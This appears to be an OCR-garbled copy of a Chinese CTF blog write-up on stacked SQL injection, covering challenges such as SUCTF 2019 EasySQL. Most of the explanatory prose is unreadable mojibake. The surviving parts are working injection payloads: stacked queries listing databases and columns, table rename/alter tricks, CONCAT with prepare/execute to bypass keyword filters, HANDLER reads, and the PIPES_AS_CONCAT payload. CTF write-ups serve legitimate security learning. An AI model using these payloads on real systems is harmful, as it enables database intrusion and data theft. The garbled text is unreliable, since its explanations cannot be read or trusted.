sqliE A HBHEA
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FRLER: cff# web LEFFS: mysqlsql ctf sqQiEAN HEBIEAN
ARV

ACEERE: https://blog.csdn.net/weixin_46081055/article/details/119496181

81 WX E4TH
BT A

_
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web
46 FXE 1T
TRERE

HEBEAN
M multi_query() AT — 2B E % sql 1BA), RERERETML, RHXMFR
—IRMEAT 2 R EMIEH

B HTHAE, J&HERR

xxx' ;show databases;--+
show tables
';show columns from “&R& ; --+

S ik
HEHE

[SUCTF 2019]EasySQL


https://blog.csdn.net/weixin_46081055
https://blog.csdn.net/weixin_46081055/category_11213260.html
https://blog.csdn.net/weixin_46081055/category_11213261.html
https://so.csdn.net/so/search/s.do?q=mysql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=sql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=sql%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25A0%2586%25E5%258F%25A0%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/weixin_46081055/article/details/119496181
https://blog.csdn.net/weixin_46081055/category_11213260.html
https://blog.csdn.net/weixin_46081055/category_11213261.html

set sql_mode=pipes_as_concat;

KIHRE—EHK

pipes_as_concat: K S B ‘| FAFBPAN—MRAER SQL F4F 8 & IFRIERF, TAR “OR” BAERFH—ANF i .
HBENT A UK ZRsqI) || FFSHER, S2BRERFRERS, WRENTHE - — M RERSHREEER TS ITE
B SR A M F 4

AR filselect BLE X flagtfl o< 74 8 I JE/™ I, WTCARA, FAARsqiEREMKR, ITEflag

rename table 'xx' to 'xx';

alter table 'xx' change 'xx' 'xx2' varchar(1e0);

# ALTER TABLE (3R#) CHANGE (EfEMMFl) (BBUEH%I4E) VARCHAR(20) (KAL),

[BR MR 2019]BE{EIE

-1 ;

rename table to test’;

rename table 1919810931114514 to ;

alter table change id  varchar(100);

show columns from words;--+

—EE ... WHRwordsE, BHIdFIFIE T ARG T
REURERNEHELT, FB G F—HZ%, FFUREEHWEERNIEN

selectf i JE i
CONCAT M Figm ¥ 5a1d
GEAR 2019]B6

DL B VE A )

xxx'; //BEEARXAEFRERELNS-1. FEASWT, , » FEERESTIHEEHE
set @sql=CONCAT('se','lect * from [R£]1;');

prepare stmt from @sql;

execute stmt;

#

handleriz )
handleri& ) 3~ B &seleciB A KA ThEe, ©RmysqlEARER, FEAESBISQLIRHEF.

HANDLER tbl_name OPEN [ [AS] alias] # ITH—%R, LREIEHR, LbrEFEHET—ANEAtbl_nameAIHK.

HANDLER tbl _name READ index name { = | <= | >= | < | > } (valuel,value2,...)
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

# FREVAIRAISE—1T, JBITREAD NEXTIRKIREULEBAT. BE—ITHITZEBRATNEXTEIRE—AN SR,

HANDLER tbl_name CLOSE # KT AR

[3EPIAF 201915 &



1';
handler "1919810931114514° open;
handler "1919810931114514 read first;-- +

B —IRE W FIBITEHR
wp
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XIE H 75 ERAE N G b 78 A BEAT 5

1. MAEZHFEINEE 1 AR RKRFHEABEE => RF W H A3 EREQ T REES ||
2. MR select ARSI | NBRH—4 58 fromKRE => Bk

Ja BiBHIA: select $post[‘query’]|lflag from Flag

FT ASRATTZE AR R 0 e R || BROX A il
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1

PSR A: select 1;set sql_mode=PIPES_AS_CONCAT;select 1|fflag from Flag

KT sql_mode : BEEXT MySQL RXHH SQL &%, PARMIZIESSE EPATMFFIAEE, HF PIPES_AS_CONCAT ¥ || #LAF
FF BB R EERE R E B B AT
1E oracle HRE X RF @ ‘||’ REFIF PR,
{B7E mysql BREA TR FHEIFHEE mysql B sql_modet=: pipes_as_concat RS2 oracle H—L Ik
IXANEE AT LA B || R E 1) R T
select 1|fflag from Flag Wé, FEREFBENL, HEHRERMLTEREEIN—5 1
B — AN EETHAE

*,1

BRI ABA L UE * TG, BHEE AR
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